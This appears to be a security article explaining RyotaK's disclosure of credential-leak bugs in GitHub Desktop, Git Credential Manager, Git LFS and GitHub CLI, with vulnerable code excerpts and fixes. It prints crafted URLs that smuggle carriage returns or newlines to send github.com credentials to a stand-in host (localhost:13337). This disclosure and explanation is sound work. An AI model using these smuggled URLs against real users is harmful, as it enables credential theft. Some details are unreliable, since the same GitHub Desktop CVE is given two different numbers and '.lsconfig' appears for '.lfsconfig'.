Git Vulnerability: How Hackers Can Access Your Login Information

Introduction
In a recent report by RyotaK, an information security engineer at GMO Flatt Security, handling information in Git's credential retrieval protocol may leak user information.
Details
Git retrieves stored login information from the system-specific credential helper using the credential protocol, which is based on text over standard input/output and relies on key-value pair lines. Git will send information like the following to the credential helper.:
protocol=https
host=github.com
The credential helper will return information like the following:
protocol=https
host=github.com
username=USERNAME
password=PASSWORD
Each line is separated by a newline character, used by both Git and the credential helper. To prevent the insertion of additional information, Git does not allow newline characters and NULL bytes in each key-value pair.
RyotaK discovered a feature in GitHub Desktop that automatically provides login information to the Git client, containing a vulnerability that allows a malicious repository to point to a crafted URL to leak login information.
GitHub Desktop improper regular expression permits the carriage return smuggling (CVE-2025-20340)
GitHub Desktop has a feature that allows it to automatically provide login information to the Git client, set up by a credential helper called trampoline:
const input = parseCredential(command.stdin)
[...]
if (firstParameter === 'get') {
const cred = await getCredential(input, store, token)
if (!cred) {
const endpoint = `${getCredentialUrl(input)}`
info(`could not find credential for ${endpoint}`)
setHasRejectedCredentialsForEndpoint(token, endpoint)
}
return cred ? formatCredential(cred) : undefined
} else if (firstParameter === 'store') {
await storeCredential(input, store, token)
} else if (firstParameter === 'erase') {
await eraseCredential(input, store, token)
}
return undefined
When trampoline receives the information, it analyzes the input using the parseCredential function. However, there is an error in the regular expression in ECMAScript. When the m (multiline) flag is set in ECMAScript, it searches all strings across multiple lines. ECMA-262 defines line endings:
<LF>: newline character (\n)
<CR>: carriage return (\r)
<LS>: line separator (\u2028)
<PS>: paragraph separator (\u2029)
Because Git only forbids newline characters (\n), an attacker can use a URL like this:
http://%0dprotocol=https%0dhost=github.com%0d@localhost:13337/
%0d is the hex character for carriage return (\r). This will cause Git to send information to the credential helper as follows:
protocol=http
host=localhost
username=\rprotocol=https\rhost=github.com\r
Git still recognizes the host as localhost, but GitHub Desktop identifies the host as github.com. This results in the login information for github.com being sent to localhost.
Git Credential Manager improper usage of StreamReader allows the carriage return smuggling (CVE-2024-50338)
Git Credential Manager is a cross-platform credential helper for Git, written in .Net. Similar to GitHub Desktop, Git Credential Manager also improperly handles the credential protocol, caused by the StreamReader class in .Net:
public TextReader In
{
get
{
if (_stdIn == null)
{
_stdIn = new StreamReader(Console.OpenStandardInput(), EncodingEx.UTF8NoBom);
}
return _stdIn;
}
}
Because the StreamReader class separates lines using \n, \r, and \r\n, the exploit used on GitHub Desktop can also be applied to Git Credential Manager.
Git LFS newline injection to leak the credential (CVE-2024-53263)
Git has a mechanism to prevent newline injection that can completely stop this, written in credential.c as follows:
if (strchr(value, '\n'))
die("credential value for %s contains newline", key);
However, Git LFS, an extension of Git, has a vulnerability that leaks login information. To communicate with the Git LFS endpoint, it calls the credential helper.
cmd, err := subprocess.ExecCommand("git", "credential", subcommand)
if err != nil {
return nil, errors.New(tr.Tr.Get("failed to find `git credential %s`: %v", subcommand, err))
}
cmd.Stdin = bufferCreds(input)
cmd.Stdout = output
The bufferCreds function sends host information to the credential helper, and it does not remove newline characters. However, Git will still check the URL before calling Git LFS, so it remains safe. Nonetheless, Git LFS supports arbitrary URL specifications from the .lsconfig file. And because Git does not use the .lsconfig file, a URL containing newline characters in this file causes Git LFS to inject newline characters while bypassing Git's authentication. For example, as shown below:
url = http://%0Ahost=github.com%0Aprotocol=https%0A@localhost:13337/
When Git LFS tries to retrieve login information for the above URL, it sends the following information to the credential helper:
capability[]=authtype
capability[]=state
protocol=http
host=localhost
username=
host=github.com
protocol=https
Thus, the credential for github.com is sent to localhost:13337.
GitHub CLI leaks the access token to arbitrary hosts (CVE-2024-53858)
There is a credential helper in GitHub CLI, but unlike the credential helpers above, it does not have issues related to newline characters or carriage returns. However, when retrieving credential, the tokenForHost function is used.:
func tokenForHost(cfg *config.Config, host string) (string, string) {
host = NormalizeHostname(host)
if IsEnterprise(host) {
if token := os.Getenv(ghEnterpriseToken); token != "" {
return token, ghEnterpriseToken
}
if token := os.Getenv(githubEnterpriseToken); token != "" {
return token, githubEnterpriseToken
}
if isCodespaces, _ := strconv.ParseBool(os.Getenv(codespaces)); isCodespaces {
if token := os.Getenv(githubToken); token != "" {
return token, githubToken
}
}
if cfg != nil {
token, _ := cfg.Get([]string{hostsKey, host, oauthToken})
return token, oauthToken
}
}
if token := os.Getenv(ghToken); token != "" {
return token, ghToken
}
if token := os.Getenv(githubToken); token != "" {
return token, githubToken
}
if cfg != nil {
token, _ := cfg.Get([]string{hostsKey, host, oauthToken})
return token, oauthToken
}
return "", defaultSource
}
This function will check if the host is an enterprise host using the IsEnterprise function, which will always return true when the host is not owned by GitHub. Therefore, it will always send the access token to arbitrary hosts if the environment variables GH_ENTERPRISE_TOKEN, GITHUB_ENTERPRISE_TOKEN, or CODESPACES=true and GITHUB_TOKEN are set.
While the two enterprise variables are not common and the CODESPACES variable is always set to true when running on GitHub Codespaces, cloning a suspicious repository on GitHub Codespaces using the GitHub CLI will always expose the access token to the attacker's host.
Fix
To fix the vulnerability related to the carriage return character (\r), GitHub added a check in the authentication protocol, which was tracked by CVE-2024-52006 on January 14, 2025..
While acknowledging RyotaK for reporting CVE-2024-50349 and CVE-2024-52006, GitHub announced that GitHub Desktop version 3.4.12 patches CVE-2025-23040, Git LFS version 3.6.1 fixes CVE-2024-53263, and the Git Credential Manager version 2.6.1 patch addresses CVE-2024-50338.






